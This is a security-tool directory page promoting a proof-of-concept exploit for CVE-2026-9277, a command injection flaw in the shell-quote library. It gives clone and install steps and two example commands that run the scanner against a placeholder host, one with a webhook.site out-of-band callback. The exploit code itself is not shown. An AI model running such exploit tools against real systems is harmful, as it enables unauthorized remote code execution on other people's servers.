Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-9277 — Proof-of-concept exploit for CVE-2026-9277, a command injection vulnerability in shell-quote library. Performs recursive JSON traversal with combinatorial mutation to trigger RCE, supporting OOB verification and zero-noise logging. | Kitploit
Tools/GitHubGitHub/dylanzahedi/cve-2026-9277
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and Control
GitHubdylanzahedi/cve-2026-9277

CVE-2026-9277

Proof-of-concept exploit for CVE-2026-9277, a command injection vulnerability in shell-quote library. Performs recursive JSON traversal with combinatorial mutation to trigger RCE, supporting OOB verification and zero-noise logging.

View Repository
211 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-9277 - Shell-Quote Command Injection Exploit

A specialized Proof of Concept (PoC) exploit script designed to verify and demonstrate CVE-2026-9277—a structural Command Injection vulnerability found in legacy versions of the shell-quote library (<= 1.8.3).

The scanner performs deep structural manipulation on input JSON payloads to expose remote code execution (RCE) vectors via recursive traversal, preventing false positives using a dynamic network baseline timing engine.


Key Features

  • Recursive JSON Traversal: Automatically detects and mutates target arrays hidden inside multi-layered nested JSON structures or GraphQL-like configurations.
  • Combinatorial Mutation Matrix: Tests advanced array manipulation scenarios including specific index insertions, absolute list overrides, and scattered array pairs.
  • Automated OOB Architecture: Handles advanced Out-of-Band execution layouts by separating {"op": "..."} components from arguments to successfully bypass string isolation controls.
  • Zero Noise Logging: Silent execution engine that filters out broken/non-exploitable 500 internal server responses, bringing out exclusively verified evidence.

Installation & Setup

Ensure you have Python 3.10+ and the required packages installed:

root@kitploit:~
git clone https://github.com/DylanZahedi/CVE-2026-9277.git
cd CVE-2026-9277
pip install requests urllib3

Execution Examples

Example 1: Local Scan with Output Leaking

root@kitploit:~
python CVE-2026-9277.py -u "https://example.com/command" -b '{"message_tokens": ["Hello", "from", "normal user"]}'

Example 2: Out-of-Band (OOB) Testing with Nested Dictionary Structure

root@kitploit:~
python CVE-2026-9277.py -u "https://example.com/command" -b '{"user": {"commands": ["a", "b"]}}' -w "https://webhook.site/your-uuid-here"


CVE-2026-9277
Download Tool